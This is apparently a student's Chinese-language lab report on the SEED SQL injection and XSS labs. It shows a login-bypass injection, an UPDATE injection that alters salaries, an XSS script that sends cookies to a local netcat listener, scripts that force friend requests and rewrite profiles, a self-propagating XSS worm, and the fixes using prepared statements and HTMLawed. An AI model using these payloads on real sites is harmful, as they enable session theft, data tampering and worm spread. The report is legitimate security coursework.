20252812 2025-2026-2 《网络攻防实践》实践十报告

20252812 2025-2026-2 《网络攻防实践》实践十报告

1 实践内容

1.1 本周学习内容

1.1.1 Web应用

Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常是被用JS、HTML等浏览器支持的语言编写的。Web应用体系结构的安全威胁有这六个方面:1.针对浏览器和终端用户的Web浏览安全威胁。2.针对传输网络的网络协议安全威胁。3.系统层安全威胁。系统层安全威胁指Web站点的Windows Server、Linux等操作系统存在远程渗透攻击和本地渗透攻击的威胁。4.Web服务器软件安全威胁。5.Web应用程序安全威胁。6.Web数据安全威胁。

1.1.2 SQL注入

SQL注入的原理是向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成的非预期攻击操作。产生SQL注入漏洞的原因有两种:1.用户输入没有被正确地过滤以消除SQL语言中的如引号、双引号、反引号、分号、百分号、井号等有特殊含义的符号。2.没有对输入数据进行严格的类型判断,如未判断输入参数是否是合法的整数类型。进行SQL注入的过程一般是:1.发现SQL注入点。2.判断后台数据库类型。3.猜测并破解后台数据库中管理员的口令。4.上传ASP后门,得到默认账户权限。5.尝试提升自身权限。6.利用数据库扩展存储过程执行Shell命令。对SQL注入的防范措施有:1.使用类型安全的参数编码机制。2.针对任何外部用户输入都进行完备检查。3.将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。4.加强SQL数据库服务器的配置与连接。

1.1.3 XSS攻击

XSS的全称是Cross Site Scripting,中文意思是跨站脚本攻击。在许多流行的Web论坛、留言本、博客及其他允许用户交互的Web应用程序中,用户提交的内容可以包含HTML、JavaScript及其他脚本代码,一旦Web程序没有对这些输入的合法性进行有效检查与过滤,就可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。一种典型的XSS攻击的流程是1.测试网站的XSS漏洞。2.显示用户的会话Cookie。3.窃取用户的会话Cookie。4.利用Cookie信息假冒其他用户发表与修改帖子。在服务器端,防范跨站脚本攻击的措施有:1.对输入进行验证。2.对输入进行净化。3.消除危险的输入点,如应避免在现有的JavaScript中插入用户可控制的数据。在客户端,为防范XSS,应提升浏览器的安全设置。

1.2 实践内容

1.2.1 SEED SQL注入攻击与防御

一个简单的员工管理Web应用程序存在SQL注入漏洞。要利用这个网站做这些事:1.使用数据库熟悉SQL查询。2.在不知道口令的情况下登录此应用程序。3.通过更新个人信息的界面实施针对UPDATE语句的SQL注入攻击。4.修复SQL注入漏洞。

1.2.2 SEED XSS实验

有一个名为Elgg的Web应用程序,它存在可能遭受XSS攻击的漏洞。要利用这个漏洞,通过在个人资料中写入代码,实现窃取cookies、篡改他人资料、传播蠕虫等。最后要通过某种方式对抗XSS攻击。

2 实践过程

2.1 安装、配置虚拟机

我用百度网盘下载了王*喆同学分享的seedlab虚拟机,把虚拟机文件解压后放在了“D:\耐涂隼箱0。\㯊。\灥。\㱂。\䜈。\聗。\攚。”这个文件夹里。然后我用VMware安装这个虚拟机。进入新建虚拟机向导,采用自定义模式。
image
选择稍后安装操作系统。
image
对操作系统选Linux,对版本选择Ubuntu。
image
对于处理器数量和内核总数设为一个就够了。
image
把内存大小设置为两千两百八十四兆字节。
image
对磁盘,选择使用现有虚拟磁盘,并选择虚拟机文件夹里的SEEDUbuntu-16.04-32bit.vmdk,然后保留现有磁盘格式。
image
image
打开虚拟机,发现能进入图形界面了。
c9d6357cc53376a055757c2a2729aa5e
执行hostnamectl set-hostname xueqiancheng,并且把/etc/hosts中记录的主机名改为xueqiancheng,然后重启,主机名就变成xueqiancheng了。
image

2.2 SEED SQL注入攻击与防御

2.2.1 使用数据库熟悉SQL查询

在刚刚安装好的seed_ubuntu虚拟机上,输入mysql -u root -p,再输入口令,以root的身份登录进mysql。然后输入show databases;查看root拥有的数据库的集合,发现有名为elgg_xss、phpmyadmin等的数据库。我输入use Users;进入名为Users的数据库。再用show tables;查看Users这个数据库中的表格,我发现该数据库只有credential这一张表。
image
我先用select * from credential查看credential表中全部内容,我发现有6行、11列,这个表中记录的信息都是员工的个人信息,具体有EID(雇员标识)、birth(出生日期)、SSN(社会安全号码)等。其中记录的每个员工的Password并不是登录时实际输入的口令,而是口令的哈希值。随后我用select * from credential where Salary >= 30000;查看薪水多于或等于三万的员工信息,程序输出了5行,没有输出Alice这一行,因为她的薪水只有两万。
image
我又用select * from credential where (Name = 'Ryan') or (Name = 'Admin');,查询结果有两行,分别是姓名为Ryan和Admin的员工对应的那两行。
image
在SQL语句中,句末必须有分号,可以用括号表示短语的优先级,用where连接条件。SQL语句不会区分关键词的大小写,把from写成FROM、FrOm都可以。

2.2.2 对SELECT语句的SQL注入攻击

在火狐浏览器的地址栏输入[www.seedlabsqlinjection.com],进入员工登录验证页面,我在此任务中的目标是在不知道正确口令的情况下以某个用户的身份登录进去。
image
打开Web Developer\Inspector,查看网页源代码,其中

这行说明登录的本质是提交一个form,采用GET方式进行请求,且用户提交form后,后端执行unsafe_home.php。
image
unsafe_home.php在/var/www/SQLInjection/文件夹下,打开文件,找到与登录有关的SQL语句:SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'。登录的原理是根据用户输入的用户名及口令哈希值能在后端数据库表格中搜索到相应内容。
image
这里存在SQL注入漏洞,如果我将用户名输入为Admin';#,对口令任意输入,则SQL语句中and Password='$hashed_pwd'这一部分就会被注释掉,系统执行的实际SQL语句为:SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= 'Admin';。导致在数据库检索时只根据Admin检索,此时能提取到credential相应行,能登录成功。我按照这个思路进行尝试。
image
点击Login,登录取得成功,我在不知道口令的情况下登录进了此Web应用程序。我进入到了查看用户信息的界面。
image

2.2.3 对UPDATE语句的SQL注入攻击

进入Admin的个人信息编辑界面,发现可以编辑NickName、Email等个人信息。查看网页源码,一个form标签内提到了unsafe_edit_backend.php,网页应该是根据这个PHP文件处理用户的修改个人信息请求的。
image
当口令不为空时,相关的SQL UPDATE语句是UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;,这条UPDATE语句存在SQL注入漏洞,如果我随便输入一个口令,然后在昵称处输入M8B3g', salary = '861038' where Name = 'Admin';#,昵称后面的那些东西就会被注释掉,整条SQL语句变为UPDATE credential SET nickname='M8B3g', salary = '861038' where Name = 'Admin';。就可以把Admin的薪水篡改为八十六万一千零三十八元。
image
按照这个想法在个人信息页面输入。
image
点击Save提交信息,系统产生一个报错,说提交的账户信息有误,但是这个报错无关紧要。重新登录后,查看员工信息表,发现Admin那一行中薪水果然被改成了八十六万一千零三十八元,说明对UPDATE语句的SQL注入攻击取得了成功。
image

2.2.4 修复SQL注入攻击漏洞

采用bind_param方法,将参数与执行动作或条件分开,在conn->prepare中输入不全的SQL语句,在bind_param中导入参数,即可修复SQL注入漏洞。
首先修改更改信息页面的UPDATE注入漏洞,将unsafe_edit_backend.php中与$sql有关的当口令字段不为空时的代码改为$sql = $conn->prepare ("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=?where ID=$id;");$sql->bind_param ("sssss", $input_nickname,$input_email,$input_address,$input_pwd,$input_phonenumber);。将unsafe_edit_backend.php中与$sql有关的当口令字段为空时的代码改为$sql = $conn->prepare ("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=?where ID=$id;");$sql->bind_param ("ssss", $input_nickname,$input_email,$input_address,$input_phonenumber);,这样就消除了UPDATE语句的SQL注入漏洞。
image
在修改个人信息页面,在昵称输入nTG', salary = '1092' where Name = 'Admin';#,在口令处随便输入个字符串。
image
点击Save,进入了一个空白页,此时尚不知道SQL注入是否成功。
image
返回登录界面,利用登录界面漏洞重新登录Admin,看到的个人信息表格与原来一样,说明UPDATE SQL注入漏洞已被修复,刚才尝试的注入失败了。
image
然后修改登录时的SQL注入漏洞。将unsafe_home.php中与$sql有关的一些命令改为$sql = $conn->prepare ("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name = ? and Password = ?");$sql->bind_param ("ss", $input_uname, $hashed_pwd);,保存unsafe_home.php。
image
按照之前的策略,登录时把用户名输入为Admin';#
image
点击Login,出现了There was an error running the query []\n,说明登录失败,我把登录界面的SELECT命令SQL注入漏洞修复了。
image

2.3 SEED XSS攻击与防御

2.3.1 显示警报窗口

在火狐浏览器输入[www.xsslabelgg.com],进入将被用于开展XSS攻击的网站,我将此网站称作Elgg。使用Alice这个用户名和seedalice这个口令登录。
image
在Alice的主页,点击Edit profile,把用户名改为20252812,然后返回主页。
image
再次点击Edit profile,编辑20252812的Elgg配置文件,在Brief description中输入<script>alert("I9b J74B");</script>,这样就嵌入了一个JS程序。
image
保存配置文件后,当任何用户访问我的主页时,都会看到提示I9b J74B的警报窗口。为了验证这一点,我登录了Samy的账号,首先进入主页。
image
在上方栏选择More\Members查看Elgg的成员。可以找到20252812这个账号。
image
点击20252812这个用户名,进入其主页,会发现提示I9b J74B的弹窗。
image

2.3.2 显示Cookie

回到登录页面,以20252812身份登录系统,然后进入Elgg配置文件的编辑界面,把Brief description改为<script>alert(ducument.cookie);</script>
image
保存Profile之后,回到主页,看到了包含cookie值的弹窗。
image

2.3.3 窃取cookie

在修改用户20252812的信息的页面,将Brief description改为<script> document.write('<img src=http://127.0.0.1:9392?c=' + escape(document.cookie) + '>'); </script>。嵌入的脚本不会产生弹窗,但会通过document.write函数在当前的HTML中写入'<img src=http://127.0.0.1:9392?c=' + escape(document.cookie) + '>',这会使受害者浏览器以为网页上存在一个图片,为了获取这张图片,受害者主机需要去[http://127.0.0.1:9392]请求,请求时发送c=escape(document.cookie),这就导致受害主机主动将自己的cookie发给攻击机了。
image
保存更改,回到20252812的主页,退出登录,然后登录Boby的账户。Boby登录后,我在终端输入nc -l 9392 -v。Boby打开20252812的主页,主页中没有简要个人描述,也没有出现弹窗。
image
查看终端,发现收到了一个GET请求,内容是/?c=Elgg%3Dg4cohq……fuo5。其中的Elgg%3Dg4cohq……fuo5就是Boby的网页的cookie值,其中%3D表示等于符号。我成功通过XSS攻击窃取到了Boby的cookie值。
image

2.3.4 用XSS攻击添加好友

打开火狐浏览器的开发者模式的Network版块,然后Boby添加20252812为好友。Elgg中添加好友时不需要额外的确认,在20252812个人主页点击Add friend即可添加其为好友。点击Add friend之后,Boby与20252812成为好友,同时开发者模式的Network版块截获了一个HTTP GET请求,从add?friend=可以看出这是用于添加好友的请求。查看右侧的Params,发现添加好友需要四个条件:有__elgg_token、有__elgg_ts、有friend数值、logged_in是true。friend这个参数的数值为44,说明让陌生人自动添加20252812为好友的恶意代码中,也要把friend设置为44。
image
为了实现用JS程序加好友,我应该需要在20252812的个人信息页面嵌入一段JS恶意代码。为了研究这段恶意代码该怎么编写,我在刚才加好友的页面的开发者模式的Debugger版块找到了elgg.js,其中有与添加好友的请求有关的信息,例如args["__elgg_ts"] = elgg.security.token.__elgg_ts
image
根据对elgg.js的研究结果,我编写了下列恶意代码。var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;这一行代码中就包含friend、__elgg_token、__elgg_ts三个参数了,这三个参数会被通过Ajax.open ()发送给服务器。其中console.log是JS中的常用调试工具,用于在浏览器的开发者模式的控制台中输出信息。这段代码不会产生弹窗,会默默地让受害者与20252812成为好友。

<script>
document.addEventListener("DOMContentLoaded", function() {
console.log(elgg)
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
alert(sendurl)
var Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
});
</script>

开展攻击之前,先登录Samy的账户,到他的主页发现字符串No friends yet,说明他现在没有朋友。我要通过在20252812的个人信息界面注入JS程序使得自动添加好友。
image
登录20252812的账户,编辑个人信息,关闭About me的输入框的富文本输入,然后输入恶意JS程序代码。然后把Brief description中原有内容删除掉。
image
登录Samy账户,找到20252812主页,起初添加朋友的按钮还是Add friend,刷新页面后,按钮变为了Remove friend。说明Samy已经被20252812添加为好友了,而Samy从来就没点击过添加好友的按钮。
image
Samy回到其主页,发现Friends区域内出现了20252812的头像,说明添加好友的恶意代码奏效了。
image

2.3.5 用XSS攻击修改受害者信息

为了研究修改个人信息需要的参数,我打开开发者模式,开始捕获网络报文,然后编辑Samy的信息并提交,我编辑了三个字段:briefdescription、description(就是那个About me)、location。提交信息后,Network版块捕获到了一个POST报文,文件名称是edit,这似乎是Samy修改个人信息的报文,我查看其中的参数,发现参数很多,但skills、mobile等参数其实是个人信息表格中的字段,这些不是必填的。还有一些accesslevel字段,这些字段看似没有什么实际的意义,但是可能是请求所必须有的,在JS代码中需要提及。
image
image
经过研究,我觉得guid、name、__elgg_token、__elgg_ts参数是必填的,填对这些字段是完成篡改受害者个人信息的关键。接着我查看了网页js代码中的相关内容,研究如何编写开展攻击的JS程序。然后我编写了篡改受害者个人信息的JS代码,代码内容如下。Document.addEventListener是JS中处理事件的标准方法,用于指明当系统事件或某个用户行为发生时该执行什么函数。userName、guid、ts、token四个变量分别对应修改个人信息所必需的name、guid、__elgg_ts、__elgg_token参数。content中包含上述四个参数,还有一系列accessslevel参数。最关键的是content中的&description=<p>……</p>,它能让受害者的描述(About me)变为我设置好的一句话。elgg.session.user.guid!=samyGuid这个条件判断的作用是让20252812自己的个人描述不会被JS代码篡改。

<script>
document.addEventListener("DOMContentLoaded", function() {
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>I hate 20252812. He is smelly and dirty.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid) 
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
});
</script>

登录Boby账号,Boby的主页中目前没有个人描述。我要通过在20252812的个人描述中注入恶意代码使得Boby的个人描述被放入一些内容。
image
登录20252812,进入个人资料编辑页面,删除原有的About me,将About me的内容改为可以篡改受害者个人信息的JS代码。
image
登录Boby账号,查看20252812的主页,查看主页时没有看到20252812有任何个人描述,也没有任何弹窗。回到Boby自己的主页时,发现Boby的About me内容被设置成了“I hate 20252812. He is smelly and dirty.”。说明本次XSS攻击成功。
image

2.3.6 编写XSS蠕虫

我为Admin设置了一个新头像。初始时,Admin没有个人描述。
image
初始时,Charlie也没有个人描述。
image
我把Samy的个人描述删除了,现在Samy也没有个人描述了。
image
编辑20252812的个人描述,注入蠕虫代码。然后保存20252812的个人描述。
image
代码的具体内容如下。这些代码是从篡改个人信息的JS代码的基础上修改而来的。多出来的内容是用于传播蠕虫的内容。变量wormCode对应蠕虫代码,headertag是<script id='worm' type='text/javascript'>,是JS代码的头部标记,标志着JS代码的开始;jsCode是文档中ID为worm的区域,也就是从document.addEventListener到})之间的全部内容;tailTag是JS代码的尾部标记,标志js代码结束。蠕虫代码由headertag、jsCode、tailTag构成,也就是20252812的个人描述的全部内容。代码中&description=<p>20252812 is a man with many diseases."+ wormCode表示篡改受害者个人描述时,先写入“20252812 is a man with many diseases.”这句话,再注入蠕虫代码。20252812把以下代码保存为个人描述后,A查看20252812的个人描述,他的个人描述都会被写入“20252812 is a man with many diseases.”这句话以及与20252812的个人描述相同的内容(即恶意JS代码),而B查看A的个人描述后,B的个人描述会变得与A相同,让B的个人描述可以传播蠕虫,接着C访问B的主页,C的个人描述也会变得与B相同,蠕虫就能这样不停地传播。

</script>
<script id="worm" type="text/javascript">
    document.addEventListener("DOMContentLoaded", function() {
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>20252812 is a man with many diseases."+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    })
</script>

Charlie登录并查看20252812的主页,发现20252812的个人描述为空白,但此时20252812的个人描述中的恶意代码已经偷偷运行了。
image
Charlie返回自己的主页,发现自己被注入了个人描述。
image
Charlie进入个人资料编辑页面,发现About me区域被注入了蠕虫代码。
image
Admin登录并查看Charlie的主页。
image
Admin回到自己的主页,发现被注入了个人描述。
image
Samy登录并查看Admin的主页。
image
Samy回到自己的主页,发现被注入了个人描述。
image
以上现象说明XSS蠕虫被成功地在Elgg用户间传播了。

2.3.7 对抗XSS

登录Admin,在右上角选择Account\Administration进入管理模式。然后点击Configure\Plugins管理插件。插件前面按钮为灰色表示该插件已被开启,为黑色说明插件未被开启。HTMLawed插件原先处于Deactivate状态,我将其开启,设为Activate状态。该插件的功能是通过过滤确保安全,它能让XSS攻击失效。
image
Admin返回其主页,发现蠕虫“显形”了,此时的蠕虫只是一堆字符串了,失去了篡改个人信息与传播的作用。
image
Boby登录并删除了自己的个人描述。
image
Boby查看Charlie主页,发现了JS代码。
image
Boby回到自己的主页,发现自己的个人描述没有被注入任何内容。这说明我成功通过激活插件的方法抵御了XSS攻击。
image

3 学习中遇到的问题及解决

  • 问题1:执行SQL语句select * from credential where Name = 'Ryan' or 'Admin';,查询结果只有Ryan一行,而且产生一个警告。这和我预想的不太一样,我觉得本应输出姓名为Ryan、Admin的两行。
  • 问题1解决方案:我先尝试把SQL语句改为select * from credential where Name = ('Ryan' or 'Admin');,但是查询结果却变为了整张表,而且产生八个警告。说明这条SQL语句看似语法更规范实则有误。我意识到也许Name的等号后面只能有一个字符串,而不能是被用or连接起来的两个字符串。我可以把逻辑改为:名字是Ryan,或者名字是Alice,这样也许符合语法,于是我想到了SQL语句select * from credential where (Name = 'Ryan') or (Name = 'Admin');,用这条语句进行查询后,得到了包含姓名为Ryan和Admin的员工对应的那两行结果,符合预期。这个问题说明我不太熟悉SQL的语法,需要多进行尝试以写出正确SQL语句。
  • 问题2:进行针对UPDATE语句的SQL注入攻击时,在昵称处输入M8B3g', salary = '861038';#,执行更新后,系统报错,重新登录后,所有员工的薪水都变为了861038,所有员工的昵称都变为了M8B3g。
    image
  • 问题2原因:产生错误的原因是在昵称处输入M8B3g', salary = '861038';#导致完整SQL语句变为UPDATE credential SET nickname='M8B3g', salary = '861038';,缺少where条件,因此系统针对credential表的所有行都执行了此SQL语句,导致所有员工的薪水都变为了861038,所有员工的昵称都变为了M8B3g。
  • 问题2解决方案:在seed虚拟机的终端执行一些UPDATE语句进行补救,将员工的薪水、昵称改回去,然后重新尝试针对UPDATE语句的SQL注入攻击。重新进行SQL注入时,在昵称中输入的内容要添加where Name = 'Admin'这个条件,使得SQL语句只更改Admin所处那一行的信息。

4 实践总结

我觉得XSS攻击对于网站确实是一种严重安全威胁。假设有人想传播不当言论,他可能利用网站漏洞通过博客传播XSS蠕虫,结果浏览到他的博客的用户的主页都被注入了不当言论,然后这言论传播到了数以万计的用户,首先造成了严重社会危害,而且警察找罪犯时可能需要遍历这上万人,非常麻烦。作为网站开发者,避免XSS攻击是一项重要义务,此时网站插件可以发挥重要作用。网站应该有本实验中的HTMLawed这样的插件,使得恶意的HTML、JS、VBScript不能传播。
作为个人,我们也有抑制XSS攻击的义务。如果发现自己的博客、主页、个人信息遭受攻击,甚至已经被注入了JS代码,此时应当立即通过编辑个人信息、博客删除相关内容,以免代码进一步造成危害。如果我们发现自己的朋友的主页、博客疑似遭受XSS攻击,也应当立即提醒朋友,从而切断传播XSS蠕虫的一条路径。
防范SQL注入也值得我们重视。很多数据库有维持社会运转的重要数据,或者个人隐私信息,它们的泄漏会造成危害。SQL注入攻击也会为黑客非法登录创造条件。所以网站开发者通过SQL语句关联网页与后端数据库时,应当采用本实验中试过的bind_param方法,使得SQL语句的执行没有漏洞。另一方面,网站开发者也应当考虑保护后端数据库,例如将某些关键表格设置为只读,连管理员自己都无法修改其中的数据,这样表格就很安全了。

5 参考资料

posted @ 2026-06-01 13:58  三六三的病人  阅读(11)  评论(0)    收藏  举报